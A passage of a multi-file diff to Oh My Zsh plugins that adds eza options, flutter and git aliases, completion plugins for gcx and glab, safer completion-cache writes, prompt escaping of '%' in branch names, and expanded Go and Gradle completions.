        local tmp_name==(:); tmp_name="${tmp_name:t}"
        command mv "${content[1]}" "$tmp_name" \
@@ -134,9 +165,9 @@ EOF
        && command mv "$tmp_name" "$extract_dir"
      # Otherwise, if the extracted folder name already exists in the current
      # directory (because of a previous file / folder), keep the extract_dir
-      elif [[ ! -e "${content[1]:t}" ]]; then
-        command mv "${content[1]}" . \
-        && command rmdir "$extract_dir"
+      elif [[ ! -e "${target_directory:-.}/${content[1]:t}" ]]; then
+        command mv -- "${content[1]}" "${target_directory:-.}/" \
+        && command rmdir -- "$extract_dir"
      fi
    elif [[ ${#content} -eq 0 ]]; then
      command rmdir "$extract_dir"
@@ -45,13 +45,44 @@ If `yes`, always add `-h` flag to add a header row for each column.

 Default: `no`

+### `links`
+
+```zsh
+zstyle ':omz:plugins:eza' 'links' yes|no
+```
+
+If `yes`, always add `-H` flag to show hard links for each file.
+
+Default: `no`
+
+### `octal`
+
+```zsh
+zstyle ':omz:plugins:eza' 'octal' yes|no
+```
+
+If `yes`, always add `-o` flag to show file permissions as octal numbers.
+
+Default: `no`
+
+### `inodes`
+
+```zsh
+zstyle ':omz:plugins:eza' 'inodes' yes|no
+```
+
+If `yes`, always add `-i` flag to show the inode for each file.
+
+Default: `no`
+
 ### `show-group`

 ```zsh
-zstyle ':omz:plugins:eza' 'show-group' yes|no
+zstyle ':omz:plugins:eza' 'show-group' yes|no|smart
 ```

 If `yes` (default), always add `-g` flag to show the group ownership.
+If `smart`, adds the `--smart-group` flag to only show the group if it has a different name from the owner.

 Default: `yes`

@@ -9,12 +9,27 @@ typeset -a _EZA_TAIL
 function _configure_eza() {
  local _val
  # Get the head flags
-  if zstyle -T ':omz:plugins:eza' 'show-group'; then
-    _EZA_HEAD+=("g")
-  fi
+  zstyle -s ':omz:plugins:eza' 'show-group' _val
+  case "${_val:l}" in
+    yes)
+      _EZA_HEAD+=("g")
+      ;;
+    smart)
+      _EZA_TAIL+=("--smart-group")
+      ;;
+  esac
  if zstyle -t ':omz:plugins:eza' 'header'; then
    _EZA_HEAD+=("h")
  fi
+  if zstyle -t ':omz:plugins:eza' 'links'; then
+    _EZA_HEAD+=("H")
+  fi
+  if zstyle -t ':omz:plugins:eza' 'octal'; then
+    _EZA_HEAD+=("o")
+  fi
+  if zstyle -t ':omz:plugins:eza' 'inodes'; then
+    _EZA_HEAD+=("i")
+  fi
  zstyle -s ':omz:plugins:eza' 'size-prefix' _val
  case "${_val:l}" in
    binary)
@@ -46,8 +61,13 @@ function _configure_eza() {
  if [[ $_val ]]; then
    _EZA_TAIL+=("--time-style='$_val'")
  fi
-  if zstyle -t ":omz:plugins:eza" "hyperlink"; then
-    _EZA_TAIL+=("--hyperlink")
+  if zstyle -t ':omz:plugins:eza' 'hyperlink'; then
+    # eza >= 0.23 needs an explicit WHEN value
+    if command eza --hyperlink=auto --version &>/dev/null; then
+      _EZA_TAIL+=("--hyperlink=auto")
+    else
+      _EZA_TAIL+=("--hyperlink")
+    fi
  fi
 }

@@ -13,16 +13,20 @@ plugins=(... flutter)
 | Alias      | Command                 | Description                                                                |
 | :--------- | :---------------------- | :------------------------------------------------------------------------- |
 | `fl`       | `flutter`               | Shorthand for flutter command                                              |
+| `fla`      | `flutter analyze`       | Analyzes flutter code                                                      |
 | `flattach` | `flutter attach`        | Attaches flutter to a running flutter application with enabled observatory |
 | `flb`      | `flutter build`         | Build flutter application                                                  |
-| `flchnl`   | `flutter channel`       | Switches flutter channel (requires input of desired channel)               |
 | `flc`      | `flutter clean`         | Cleans flutter project                                                     |
-| `fldvcs`   | `flutter devices`       | List connected devices (if any)                                            |
+| `flchnl`   | `flutter channel`       | Switches flutter channel (requires input of desired channel)               |
 | `fldoc`    | `flutter doctor`        | Runs flutter doctor                                                        |
-| `flpub`    | `flutter pub`           | Shorthand for flutter pub command                                          |
+| `fldvcs`   | `flutter devices`       | List connected devices (if any)                                            |
 | `flget`    | `flutter pub get`       | Installs dependencies                                                      |
+| `fll`      | `flutter logs`          | Shows flutter logs                                                         |
+| `flpu`     | `flutter pub upgrade`   | Upgrades dependencies                                                      |
+| `flpub`    | `flutter pub`           | Shorthand for flutter pub command                                          |
 | `flr`      | `flutter run`           | Runs flutter app                                                           |
 | `flrd`     | `flutter run --debug`   | Runs flutter app in debug mode (default mode)                              |
 | `flrp`     | `flutter run --profile` | Runs flutter app in profile mode                                           |
 | `flrr`     | `flutter run --release` | Runs flutter app in release mode                                           |
-| `flupgrd`  | `flutter upgrade`       | Upgrades flutter version depending on the current channel                  |
+| `flt`      | `flutter test`          | Runs flutter tests                                                         |
+| `flupgrd`  | `flutter upgrade`       | Upgrades flutter version depending on the current channel                  |
@@ -1,16 +1,20 @@
 alias fl="flutter"
+alias fla="flutter analyze"
 alias flattach="flutter attach"
 alias flb="flutter build"
-alias flchnl="flutter channel"
 alias flc="flutter clean"
-alias fldvcs="flutter devices"
+alias flchnl="flutter channel"
 alias fldoc="flutter doctor"
-alias flpub="flutter pub"
+alias fldvcs="flutter devices"
 alias flget="flutter pub get"
+alias fll="flutter logs"
+alias flpu="flutter pub upgrade"
+alias flpub="flutter pub"
 alias flr="flutter run"
 alias flrd="flutter run --debug"
 alias flrp="flutter run --profile"
 alias flrr="flutter run --release"
+alias flt="flutter test"
 alias flupgrd="flutter upgrade"

 # COMPLETION FUNCTION
@@ -26,4 +30,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_flutter" ]]; then
  _comps[flutter]=_flutter
 fi

-flutter zsh-completion < /dev/null >| "$ZSH_CACHE_DIR/completions/_flutter" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_flutter"
+  zf_mv -f -- =( flutter zsh-completion < /dev/null ) "$TMPPREFIX"
+} &|
@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_flux" ]]; then
  _comps[flux]=_flux
 fi

-flux completion zsh >| "$ZSH_CACHE_DIR/completions/_flux" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_flux"
+  zf_mv -f -- =( flux completion zsh ) "$TMPPREFIX"
+} &|
@@ -2,8 +2,34 @@

 This plugin adds autocompletion for [fnm](https://github.com/Schniz/fnm) - a Node.js version manager.

-To use it, add `fnm` to the plugins array in your zshrc file:
+To use it, add `fnm` to the plugins array in your `.zshrc` file:

 ```zsh
 plugins=(... fnm)
 ```
+
+## Configuration
+
+These settings should go in your `.zshrc` file, before Oh My Zsh is sourced.
+
+### Autostart
+
+If set, the plugin will automatically start fnm for the session, running the `fnm env`:
+
+```zsh
+zstyle ':omz:plugins:fnm' autostart yes
+```
+
+Default: `no` (disabled)
+
+### Use on cd
+
+If set, the Node.js version will be switched based on the requirements of the current directory (recommended):
+
+```zsh
+zstyle ':omz:plugins:fnm' use-on-cd yes
+```
+
+Default: `yes` (enabled)
+
+Check out the [official documentation](https://github.com/Schniz/fnm/blob/master/docs/commands.md) for the available fnm variables.
@@ -10,4 +10,16 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_fnm" ]]; then
  _comps[fnm]=_fnm
 fi

-fnm completions --shell=zsh >| "$ZSH_CACHE_DIR/completions/_fnm" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_fnm"
+  zf_mv -f -- =( fnm completions --shell=zsh ) "$TMPPREFIX"
+} &|
+
+if zstyle -t ':omz:plugins:fnm' autostart; then
+  local -a fnm_env_cmd
+  if zstyle -T ':omz:plugins:fnm' use-on-cd; then
+    fnm_env_cmd+=("--use-on-cd")
+  fi
+  eval "$(fnm env --shell=zsh $fnm_env_cmd)"
+fi
@@ -57,7 +57,7 @@ function frontend() {
    codepen        'https://codepen.io/search/pens?q='
    compassdoc     'http://compass-style.org/search?q='
    cssflow        'http://www.cssflow.com/search?q='
-    dartlang       'https://api.dartlang.org/apidocs/channels/stable/dartdoc-viewer/dart:'
+    dartlang       $(_frontend_fallback 'dart.dev')
    emberjs        $(_frontend_fallback 'emberjs.com/')
    flowtype       $(_frontend_fallback 'flow.org/en/docs/')
    fontello       'http://fontello.com/#search='
@@ -0,0 +1,18 @@
+# Grafana CLI plugin
+
+This plugin adds completion for the [Grafana CLI (gcx)](https://github.com/grafana/gcx).
+
+To use it, add `gcx` to the plugins array in your zshrc file:
+
+```zsh
+plugins=(... gcx)
+```
+
+This plugin does not add any aliases.
+
+## Cache
+
+This plugin caches the completion script and automatically updates it when the
+plugin is loaded, which is usually when you start a new terminal emulator.
+
+The cache is stored at `$ZSH_CACHE_DIR/completions/_gcx`.
@@ -0,0 +1,18 @@
+# Autocompletion for the Grafana CLI (gcx).
+if (( ! $+commands[gcx] )); then
+  return
+fi
+
+# If the completion file doesn't exist yet, we need to autoload it and
+# bind it to `gcx`. Otherwise, compinit will have already done that.
+if [[ ! -f "$ZSH_CACHE_DIR/completions/_gcx" ]]; then
+  typeset -g -A _comps
+  autoload -Uz _gcx
+  _comps[gcx]=_gcx
+fi
+
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_gcx"
+  zf_mv -f -- =( gcx completion zsh ) "$TMPPREFIX"
+} &|
@@ -17,7 +17,6 @@ plugin is loaded, which is usually when you start up a new terminal emulator.

 The cache is stored at:

- `$ZSH/plugins/gh/_gh` completions script
+- `$ZSH_CACHE_DIR/completions/_gh` completions script

- `$ZSH_CACHE_DIR/gh_version` version of GitHub CLI, used to invalidate
-  the cache.
+If an update fails, the last successfully generated completion script is kept.
@@ -11,4 +11,14 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_gh" ]]; then
  _comps[gh]=_gh
 fi

-gh completion --shell zsh >| "$ZSH_CACHE_DIR/completions/_gh" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local completion_file="$ZSH_CACHE_DIR/completions/_gh"
+  local completion_tmp="${completion_file}.$$.${RANDOM}"
+
+  if gh completion --shell zsh >| "$completion_tmp" && [[ -s "$completion_tmp" ]]; then
+    zf_mv -f -- "$completion_tmp" "$completion_file"
+  fi
+
+  command rm -f -- "$completion_tmp"
+} &|
@@ -45,7 +45,7 @@ plugins=(... git)
 | `gbgD`                 | `LANG=C git branch --no-color -vv \| grep ": gone\]" \| cut -c 3- \| awk '"'"'{print $1}'"'"' \| xargs git branch -D`           |
 | `gbm`                  | `git branch --move`                                                                                                             |
 | `gbnm`                 | `git branch --no-merged`                                                                                                        |
-| `gbr`                  | `git branch --remote`                                                                                                           |
+| `gbr`                  | `git branch --remotes`                                                                                                          |
 | `ggsup`                | `git branch --set-upstream-to=origin/$(git_current_branch)`                                                                     |
 | `gbg`                  | `LANG=C git branch -vv \| grep ": gone\]"`                                                                                      |
 | `gco`                  | `git checkout`                                                                                                                  |
@@ -103,6 +103,7 @@ plugins=(... git)
 | `glods`                | `git log --graph --pretty='%Cred%h%Creset -%C(auto)%d%Creset %s %Cgreen(%ad) %C(bold blue)<%an>%Creset' --date=short`           |
 | `glol`                 | `git log --graph --pretty='%Cred%h%Creset -%C(auto)%d%Creset %s %Cgreen(%ar) %C(bold blue)<%an>%Creset'`                        |
 | `glola`                | `git log --graph --pretty='%Cred%h%Creset -%C(auto)%d%Creset %s %Cgreen(%ar) %C(bold blue)<%an>%Creset' --all`                  |
+| `glolm`                | `git log $(git_main_branch) --graph --pretty='%Cred%h%Creset -%C(auto)%d%Creset %s %Cgreen(%ar) %C(bold blue)<%an>%Creset'`     |
 | `glols`                | `git log --graph --pretty='%Cred%h%Creset -%C(auto)%d%Creset %s %Cgreen(%ar) %C(bold blue)<%an>%Creset' --stat`                 |
 | `glo`                  | `git log --oneline --decorate`                                                                                                  |
 | `glog`                 | `git log --oneline --decorate --graph`                                                                                          |
@@ -181,6 +182,8 @@ plugins=(... git)
 | `grst`                 | `git restore --staged`                                                                                                          |
 | `gunwip`               | `git rev-list --max-count=1 --format="%s" HEAD \| grep -q "--wip--" && git reset HEAD~1`                                        |
 | `grev`                 | `git revert`                                                                                                                    |
+| `greva`                | `git revert --abort`                                                                                                            |
+| `grevc`                | `git revert --continue`                                                                                                         |
 | `grm`                  | `git rm`                                                                                                                        |
 | `grmc`                 | `git rm --cached`                                                                                                               |
 | `gcount`               | `git shortlog --summary -n`                                                                                                     |
@@ -215,6 +218,7 @@ plugins=(... git)
 | `gunignore`            | `git update-index --no-assume-unchanged`                                                                                        |
 | `gwch`                 | `git log --patch --abbrev-commit --pretty=medium --raw`                                                                         |
 | `gwt`                  | `git worktree`                                                                                                                  |
+| `gwta`                 | `git worktree add`                                                                                                              |
 | `gwtls`                | `git worktree list`                                                                                                             |
 | `gwtmv`                | `git worktree move`                                                                                                             |
 | `gwtrm`                | `git worktree remove`                                                                                                           |
@@ -251,6 +255,7 @@ receive further support.
 | `git_current_user_name`  | Returns the `user.name` config value (Lives in `lib/git.zsh`)                                                  |
 | `git_develop_branch`     | Returns the name of the “development” branch: `dev`, `devel`, `development` if they exist, `develop` otherwise |
 | `git_main_branch`        | Returns the name of the main branch: `main` if it exists, `master` otherwise                                   |
+| `gbcopy`                 | Copies current branch name to clipboard                                                                        |
 | `grename <old> <new>`    | Renames branch `<old>` to `<new>`, including on the origin remote                                              |
 | `gbda`                   | Deletes all merged branches                                                                                    |
 | `gbds`                   | Deletes all squash-merged branches (**Note: performance degrades with number of branches**)                    |
@@ -49,6 +49,16 @@ function git_main_branch() {
  return 1
 }

+function gbcopy() {
+  command git rev-parse --git-dir &>/dev/null || return
+
+  local branch
+  branch="$(git_current_branch)" || return
+  [[ -n "$branch" ]] || return 1
+
+  print -rn -- "$branch" | clipcopy
+}
+
 function grename() {
  if [[ -z "$1" || -z "$2" ]]; then
    echo "Usage: $0 old_branch new_branch"
@@ -137,8 +147,9 @@ function gbda() {
 # Copied and modified from James Roeder (jmaroeder) under MIT License
 # https://github.com/jmaroeder/plugin-git/blob/216723ef4f9e8dde399661c39c80bdf73f4076c4/functions/gbda.fish
 function gbds() {
-  local default_branch=$(git_main_branch)
-  (( ! $? )) || default_branch=$(git_develop_branch)
+  local default_branch
+  default_branch=$(git_main_branch) \
+    || default_branch=$(git_develop_branch)

  git for-each-ref refs/heads/ "--format=%(refname:short)" | \
    while read branch; do
@@ -153,7 +164,7 @@ alias gbgd='LANG=C git branch --no-color -vv | grep ": gone\]" | cut -c 3- | awk
 alias gbgD='LANG=C git branch --no-color -vv | grep ": gone\]" | cut -c 3- | awk '"'"'{print $1}'"'"' | xargs git branch -D'
 alias gbm='git branch --move'
 alias gbnm='git branch --no-merged'
-alias gbr='git branch --remote'
+alias gbr='git branch --remotes'
 alias ggsup='git branch --set-upstream-to=origin/$(git_current_branch)'
 alias gbg='LANG=C git branch -vv | grep ": gone\]"'
 alias gco='git checkout'
@@ -238,6 +249,7 @@ alias glod='git log --graph --pretty="%Cred%h%Creset -%C(auto)%d%Creset %s %Cgre
 alias glola='git log --graph --pretty="%Cred%h%Creset -%C(auto)%d%Creset %s %Cgreen(%ar) %C(bold blue)<%an>%Creset" --all'
 alias glols='git log --graph --pretty="%Cred%h%Creset -%C(auto)%d%Creset %s %Cgreen(%ar) %C(bold blue)<%an>%Creset" --stat'
 alias glol='git log --graph --pretty="%Cred%h%Creset -%C(auto)%d%Creset %s %Cgreen(%ar) %C(bold blue)<%an>%Creset"'
+alias glolm='git log $(git_main_branch) --graph --pretty="%Cred%h%Creset -%C(auto)%d%Creset %s %Cgreen(%ar) %C(bold blue)<%an>%Creset"'
 alias glo='git log --oneline --decorate'
 alias glog='git log --oneline --decorate --graph'
 alias gloga='git log --oneline --decorate --graph --all'
@@ -235,7 +235,7 @@ __git_ps1_show_upstream ()
 			if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then
 				upstream="$upstream \${__git_ps1_upstream_name}"
 			else
-				upstream="$upstream ${__git_ps1_upstream_name}"
+				upstream="$upstream ${__git_ps1_upstream_name//\%/%%}"
 				# not needed anymore; keep user's
 				# environment clean
 				unset __git_ps1_upstream_name
@@ -570,6 +570,9 @@ __git_ps1 ()
 	if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then
 		__git_ps1_branch_name=$b
 		b="\${__git_ps1_branch_name}"
+	else
+		# escape % in branch name to avoid prompt expansion issues
+		b="${b//\%/%%}"
 	fi

 	if [ -n "${GIT_PS1_SHOWCOLORHINTS-}" ]; then
@@ -10,12 +10,48 @@ function gi() {
 }

 _gitignoreio_get_command_list() {
+  setopt local_options pipe_fail
  _gi_curl "list" | tr "," "\n"
 }

-_gitignoreio () {
-  compset -P '*,'
-  compadd -S '' $(_gitignoreio_get_command_list)
+__gitignoreio_caching_policy() {
+  local -a oldp
+  oldp=("$1"(Nm+7))
+  (($#oldp))
 }

-compdef _gitignoreio gi
+_gitignoreio_retrieve_stale_cache() {
+  zstyle -t ":completion:${curcontext}:" use-cache || return 1
+
+  local cache_dir
+  zstyle -s ":completion:${curcontext}:" cache-path cache_dir
+  : ${cache_dir:=${ZDOTDIR:-$HOME}/.zcompcache}
+
+  [[ -e "$cache_dir/gi-list" ]] || return 1
+  . "$cache_dir/gi-list"
+}
+
+_gitignoreio() {
+  compset -P '*,'
+
+  local cache_policy
+  zstyle -s ":completion:${curcontext}:" cache-policy cache_policy
+  if [[ -z "$cache_policy" ]]; then
+    zstyle ":completion:${curcontext}:" cache-policy __gitignoreio_caching_policy
+  fi
+
+  local -a _gi_list
+  if _cache_invalid gi-list || ! _retrieve_cache gi-list; then
+    local command_list
+    if command_list="$(_gitignoreio_get_command_list)" && [[ -n "$command_list" ]]; then
+      _gi_list=(${(f)command_list})
+      _store_cache gi-list _gi_list
+    else
+      _gitignoreio_retrieve_stale_cache
+    fi
+  fi
+
+  compadd -S '' -a _gi_list
+}
+
+compdef _gitignoreio gi
@@ -0,0 +1,18 @@
+# GitLab CLI plugin
+
+This plugin adds completion for the [GitLab CLI](https://docs.gitlab.com/cli/).
+
+To use it, add `glab` to the plugins array in your zshrc file:
+
+```zsh
+plugins=(... glab)
+```
+
+This plugin does not add any aliases.
+
+## Cache
+
+This plugin caches the completion script at `$ZSH_CACHE_DIR/completions/_glab`.
+
+The cache is regenerated in the background whenever the plugin is loaded, which
+usually happens when you start a new Zsh session.
@@ -0,0 +1,18 @@
+# Autocompletion for the GitLab CLI (glab).
+if (( ! $+commands[glab] )); then
+  return
+fi
+
+# If the completion file doesn't exist yet, we need to autoload it and
+# bind it to `glab`. Otherwise, compinit will have already done that.
+if [[ ! -f "$ZSH_CACHE_DIR/completions/_glab" ]]; then
+  typeset -g -A _comps
+  autoload -Uz _glab
+  _comps[glab]=_glab
+fi
+
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_glab"
+  zf_mv -f -- =( glab completion -s zsh ) "$TMPPREFIX"
+} &|
@@ -27,7 +27,7 @@ The plugin also documents two other ways to do this:

 1. Using a function wrapper, such that, for example, there exists a function
 named `ls` which calls `gls` instead. Since functions have a higher preference
-than commands, this ends up calling the GNU coreutil. It has also a higher
+than commands, this ends up calling the GNU coreutils. It has also a higher
 preference over shell builtins (`gecho` is called instead of the builtin `echo`).

 2. Using an alias. This has an even higher preference than functions, but they
@@ -39,3 +39,18 @@ plugins=(... golang)
 | gov    | `go vet`          | Vet examines Go source code and reports suspicious constructs |
 | gove   | `go version`      | Prints Go version                                             |
 | gow    | `go work`         | Work provides access to operations on workspaces              |
+
+## Prompt
+
+This plugin provides the `go_prompt_info` function to add the installed Go
+version to your prompt.
+
+For example:
+```
+PROMPT="%~$ "
+RPROMPT='$(go_prompt_info)'
+```
+changes your prompt to:
+```
+~/go/project$ ▋                                                     1.22.3
+```
@@ -15,6 +15,52 @@ __go_identifiers() {
  compadd $(godoc -templates "$tmpl_path" ${words[-2]} 2> /dev/null)
 }

+__go_tool_commands() {
+  local -a tools tool_commands
+  local -A command_seen short_count
+  local tool command
+
+  tools=("${(@f)$(go tool 2>/dev/null)}")
+
+  # Go 1.24+ lists module tools by package path, but also accepts unique
+  # default binary names for those tools.
+  for tool in "${tools[@]}"; do
+    [[ -n $tool ]] || continue
+
+    (( command_seen[$tool]++ ))
+
+    if [[ $tool == */* ]]; then
+      command=${tool:t}
+
+      if [[ $command == v[0-9]* && ${command#v} != *[^0-9]* ]] && (( ${command#v} > 1 )); then
+        command=${${tool%/$command}:t}
+      fi
+
+      (( short_count[$command]++ ))
+    fi
+  done
+
+  for tool in "${tools[@]}"; do
+    [[ -n $tool ]] || continue
+
+    tool_commands+=("$tool")
+
+    if [[ $tool == */* ]]; then
+      command=${tool:t}
+
+      if [[ $command == v[0-9]* && ${command#v} != *[^0-9]* ]] && (( ${command#v} > 1 )); then
+        command=${${tool%/$command}:t}
+      fi
+
+      if (( short_count[$command] == 1 && ! command_seen[$command] )); then
+        tool_commands+=("$command")
+      fi
+    fi
+  done
+
+  _values "go tool" "${tool_commands[@]}"
+}
+
 _go() {
  typeset -a commands build_flags
  commands+=(
@@ -35,6 +81,7 @@ _go() {
    'tool[run specified go tool]'
    'version[print Go version]'
    'vet[run go tool vet on packages]'
+    'work[workspace maintenance]'
  )
  if (( CURRENT == 2 )); then
    # explain go commands
@@ -42,19 +89,38 @@ _go() {
    return
  fi
  build_flags=(
-    '-a[force reinstallation of packages that are already up to date]'
+    '-C[change to dir before running the command]:directory:_path_files -/'
+    '-a[force rebuilding of packages that are already up-to-date]'
    '-n[print the commands but do not run them]'
    '-p[number of parallel builds]:number'
    '-race[enable data race detection]'
-    '-x[print the commands]'
+    '-msan[enable interoperation with memory sanitizer]'
+    '-asan[enable interoperation with address sanitizer]'
+    '-cover[enable code coverage instrumentation]'
+    '-covermode[set the mode for coverage analysis]:mode:(set count atomic)'
+    '-coverpkg[apply coverage analysis to matching packages]:pattern'
+    '-v[print the names of packages as they are compiled]'
    '-work[print temporary directory name and keep it]'
-    '-ccflags[flags for 5c/6c/8c]:flags'
-    '-gcflags[flags for 5g/6g/8g]:flags'
-    '-ldflags[flags for 5l/6l/8l]:flags'
-    '-gccgoflags[flags for gccgo]:flags'
-    '-compiler[name of compiler to use]:name'
-    '-installsuffix[suffix to add to package directory]:suffix'
+    '-x[print the commands]'
+    '-asmflags[arguments to pass on each go tool asm invocation]:flags'
+    '-buildmode[build mode to use]:mode:(archive c-archive c-shared default shared exe pie plugin)'
+    '-buildvcs[stamp binaries with version control information]:mode:(true false auto)'
+    '-compiler[name of compiler to use]:name:(gccgo gc)'
+    '-gccgoflags[arguments to pass on each gccgo compiler/linker invocation]:flags'
+    '-gcflags[arguments to pass on each go tool compile invocation]:flags'
+    '-installsuffix[suffix to use in the package installation directory]:suffix'
+    '-json[emit build output in JSON suitable for automated processing]'
+    '-ldflags[arguments to pass on each go tool link invocation]:flags'
+    '-linkshared[build code that will be linked against shared libraries]'
+    '-mod[module download mode to use]:mode:(readonly vendor mod)'
+    '-modcacherw[leave newly-created directories in the module cache read-write]'
+    '-modfile[read and write an alternate go.mod file]:file:_files -g "*.mod"'
+    '-overlay[read a JSON config file that provides an overlay for build operations]:file:_files -g "*.json"'
+    '-pgo[specify the file path of a profile for profile-guided optimization]:file:_files'
+    '-pkgdir[install and load all packages from dir]:directory:_path_files -/'
    '-tags[list of build tags to consider satisfied]:tags'
+    '-trimpath[remove all file system paths from the resulting executable]'
+    '-toolexec[program to use to invoke toolchain programs]:command'
  )

  case ${words[2]} in
@@ -79,17 +145,20 @@ _go() {
    ;;
  install)
    _arguments -s -w : ${build_flags[@]} \
-      "-v[show package names]" \
      '*:importpaths:__go_packages'
    ;;
  get)
    _arguments -s -w : \
-      ${build_flags[@]}
+      ${build_flags[@]} \
+      "-t[consider modules needed to build tests of packages]" \
+      "-u[update modules providing dependencies to newer minor or patch releases]" \
+      "-u=[update modules providing dependencies to patch releases]:mode:(patch)" \
+      "-tool[add a matching tool line to go.mod for each listed package]" \
+      "*:importpaths:__go_packages"
    ;;
  build)
    _arguments -s -w : \
      ${build_flags[@]} \
-      "-v[show package names]" \
      "-o[output file]:file:_files" \
      "*:args:{ _alternative ':importpaths:__go_packages' ':files:_path_files -g \"*.go\"' }"
    ;;
@@ -192,6 +261,60 @@ _go() {
      ;;
    esac
    ;;
+  work)
+    local -a work_commands
+    work_commands+=(
+      'edit[edit go.work from tools or scripts]'
+      'init[initialize workspace file]'
+      'sync[sync workspace build list to modules]'
+      'use[add modules to workspace file]'
+      'vendor[make vendored copy of dependencies]'
+    )
+
+    if (( CURRENT == 3 )); then
+      _values 'go work commands' ${work_commands[@]} "help[display help]"
+      return
+    fi
+
+    case ${words[3]} in
+    help)
+      _values 'go work commands' ${work_commands[@]}
+      ;;
+    edit)
+      _arguments -s -w : \
+        "-fmt[reformat the go.work file]" \
+        "-godebug[=key=value add a godebug key=value line]:key=value" \
+        "-dropgodebug[=key drop an existing godebug line]:key" \
+        "-use[=path add a use directive]:directory:_path_files -/" \
+        "-dropuse[=path drop a use directive]:directory:_path_files -/" \
+        "-replace[=old{@v}=new{@v} add a replacement of the given module path and version pair]:name" \
+        "-dropreplace[=old{@v} drop a replacement of the given module path and version pair]:name" \
+        "-go[={version} set the expected Go language version]:number" \
+        "-toolchain[=name set the Go toolchain to use]:name" \
+        "-print[print the final go.work in its text format]" \
+        "-json[print the final go.work file in JSON format]" \
+        "1:go.work file:_files -g 'go.work'"
+      ;;
+    init)
+      _arguments -s -w : \
+        "*:module directories:_path_files -/"
+      ;;
+    sync)
+      ;;
+    use)
+      _arguments -s -w : \
+        "-r[search recursively for modules in the argument directories]" \
+        "*:module directories:_path_files -/"
+      ;;
+    vendor)
+      _arguments -s -w : \
+        "-e[attempt to proceed despite errors encountered while loading packages]" \
+        "-v[print the names of vendored modules and packages]" \
+        "-o[create the vendor directory at the given path]:output directory:_path_files -/" \
+        "*:flags"
+      ;;
+    esac
+    ;;
  help)
    _values "${commands[@]}" \
      'environment[show Go environment variables available]' \
@@ -201,6 +324,13 @@ _go() {
      'testflag[description of testing flags]' \
      'testfunc[description of testing functions]'
    ;;
+  version)
+    _arguments -s -w : \
+      "-m[print module version information]" \
+      "-v[report unrecognized files]" \
+      "-json[print module version information in JSON format]" \
+      "*:file:_files"
+    ;;
  run)
    _arguments -s -w : \
      ${build_flags[@]} \
@@ -208,7 +338,7 @@ _go() {
    ;;
  tool)
    if (( CURRENT == 3 )); then
-        _values "go tool" $(go tool)
+        __go_tool_commands
        return
    fi
    case ${words[3]} in
@@ -36,3 +36,12 @@ alias gotofx='go tool fix'
 alias gov='go vet'
 alias gove='go version'
 alias gow='go work'
+
+## prompt
+function go_prompt_info() {
+  (( $+commands[go] )) || return
+  local go_prompt
+  go_prompt=$(go version | awk '{ print substr($3, 3) }')
+  [[ -z "${go_prompt}" ]] && return
+  echo "${ZSH_THEME_GO_PROMPT_PREFIX}${go_prompt:gs/%/%%}${ZSH_THEME_GO_PROMPT_SUFFIX}"
+}
@@ -34,18 +34,16 @@ __gradle-set-build-file() {

    local default_gradle_build_file_name="build.gradle"
    if [[ -r $gradle_settings_file ]]; then
-        default_gradle_build_file_name=${$(grep "^rootProject\.buildFileName" $gradle_settings_file | \
+        local build_file_name=${$(grep "^rootProject\.buildFileName" $gradle_settings_file | \
            sed -n -e "s/rootProject\.buildFileName = [\'\"]\(.*\)[\'\"]/\1/p")}

-        default_gradle_build_file_name="${default_gradle_build_file:-build.gradle}"
+        default_gradle_build_file_name="${build_file_name:-build.gradle}"
    fi

-    local default_gradle_build_file="$project_root_dir/$default_gradle_build_file_name"
-    if [[ ! -f $default_gradle_build_file ]]; then
-        default_gradle_build_file="$project_root_dir/build.gradle.kts"
+    gradle_build_file="$project_root_dir/$default_gradle_build_file_name"
+    if [[ ! -f $gradle_build_file ]]; then
+        gradle_build_file="$project_root_dir/build.gradle.kts"
    fi
-
-    gradle_build_file=$default_gradle_build_file
 }

 __gradle-set-cache-name() {
@@ -214,6 +212,7 @@ __gradle_subcommand() {
                '--dsl=[Set the build script DSL to be used in generated scripts.]' \
                '--incubating[Allow the generated build to use new features and APIs.]' \
                '--insecure-protocol=[How to handle insecure URLs used for Maven Repositories.]' \
+                '--into=[Set the directory where the project is generated.]' \
                '--java-version=[Provides java version to use in the project.]' \
                '--overwrite[Allow existing files in the build directory to be overwritten?]' \
                '--package=[Set the package for source files.]' \
@@ -228,6 +227,7 @@ __gradle_subcommand() {
                '--all[Show additional tasks and detail.]' \
                '--group=[Show tasks for a specific group.]' \
                '--groups=[Show tasks for specific groups (can be used multiple times to specify multiple groups).]' \
+                '--provenance[Show task provenance information]' \
                '--types[Show task class types]' && ret=0
            ;;
        (test)
@@ -245,11 +245,15 @@ __gradle_subcommand() {
                '--gradle-distribution-url=[The URL to download the Gradle distribution from.]' \
                '--gradle-version=[The version of the Gradle distribution required by the wrapper. The following labels are allowed: latest, release-candidate, release-milestone, release-nightly, and nightly.]' \
                '--network-timeout=[Timeout in ms to use when the wrapper is performing network operations.]' \
+                '--retries=[The number of download retries.]' \
+                '--retry-back-off-ms=[The initial back off in milliseconds between retries (doubles on each failure).]' \
                '--validate-url[Sets task to validate the configured distribution url.]' && ret=0
            ;;
        (*)
            _arguments -C \
-                '-Dgradle.user.home=[Specifies the Gradle user home directory. Defaults to ~/.gradle]:gradle.user.home:_directories' \
+                '-Dcom.gradle.develocity.plugin.version=[Version of the Develocity plugin to auto-apply, must be 4.4.0 or higher if Develocity URL is specified as well.]' \
+                '-Dcom.gradle.develocity.url=[Default URL of the Develocity server to publish Build Scan to. Triggers auto-application of the Develocity plugin if not already applied.]' \
+                '-Dgradle.user.home=[Specifies the Gradle user home directory. Default is ~/.gradle.]:gradle.user.home:_directories' \
